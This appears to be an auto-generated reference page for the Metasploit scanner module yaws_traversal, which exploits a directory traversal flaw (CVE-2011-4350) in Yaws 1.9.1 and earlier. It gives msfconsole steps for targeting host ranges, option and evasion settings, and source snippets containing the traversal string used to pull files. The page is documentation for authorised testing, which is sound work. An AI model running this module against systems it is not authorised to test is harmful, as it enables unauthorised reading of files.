Yaws Web Server Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/yaws_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Yaws Web Server Directory Traversal
Module: auxiliary/scanner/http/yaws_traversal
Source code: modules/auxiliary/scanner/http/yaws_traversal.rb
Disclosure date: 2011-11-25
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2011-4350
This module exploits a directory traversal bug in Yaws v1.9.1 or less. The module can only be used to retrieve files. However, code execution might be possible. Because when the malicious user sends a PUT request, a file is actually created, except no content is written.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/yaws_traversal
msf auxiliary(yaws_traversal) > show options
... show and set options ...
msf auxiliary(yaws_traversal) > set RHOSTS ip-range
msf auxiliary(yaws_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(yaws_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(yaws_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(yaws_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the scanner/http/yaws_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/yaws_traversal
msf6 auxiliary(scanner/http/yaws_traversal) > show info
Name: Yaws Web Server Directory Traversal
Module: auxiliary/scanner/http/yaws_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2011-11-25
Provided by:
sinn3r <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH windows\win.ini no The name of the file to download
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal bug in Yaws v1.9.1 or
less. The module can only be used to retrieve files. However, code
execution might be possible. Because when the malicious user sends a
PUT request, a file is actually created, except no content is
written.
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-4350
OSVDB (77581)
https://bugzilla.redhat.com/show_bug.cgi?id=757181
Module Options
This is a complete list of options available in the scanner/http/yaws_traversal auxiliary module:
msf6 auxiliary(scanner/http/yaws_traversal) > show options
Module options (auxiliary/scanner/http/yaws_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH windows\win.ini no The name of the file to download
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/yaws_traversal auxiliary module:
msf6 auxiliary(scanner/http/yaws_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/yaws_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/yaws_traversal module can do:
msf6 auxiliary(scanner/http/yaws_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/yaws_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/yaws_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Please supply the name of the file you want to download
Here is a relevant code snippet related to the "Please supply the name of the file you want to download" error message:
39: end
40:
41: def run_host(ip)
42: # No point to continue if no filename is specified
43: if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
44: print_error("Please supply the name of the file you want to download")
45: return
46: end
47:
48: # Create request
49: traversal = "..\\..\\..\\..\\"
Nothing was downloaded
Here is a relevant code snippet related to the "Nothing was downloaded" error message:
62: 'application/octet-stream',
63: ip,
64: res.body,
65: fname
66: )
67: print_status("File saved in: #{path}")
68: else
69: print_error("Nothing was downloaded")
70: end
71: end
72: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #3751 Merged Pull Request: [SeeRM 8836] Change boot.ini to win.ini
- #2525 Merged Pull Request: Change module boilerplate
- #48 Merged Pull Request: add osvdb ref
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/aws/aws_launch_instances
- auxiliary/cloud/aws/enum_ec2
- auxiliary/cloud/aws/enum_iam
- auxiliary/cloud/aws/enum_s3
- exploit/unix/webapp/awstats_configdir_exec
- exploit/unix/webapp/awstats_migrate_exec
- exploit/unix/webapp/awstatstotals_multisort
- post/multi/escalate/aws_create_iam_user
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
Authors
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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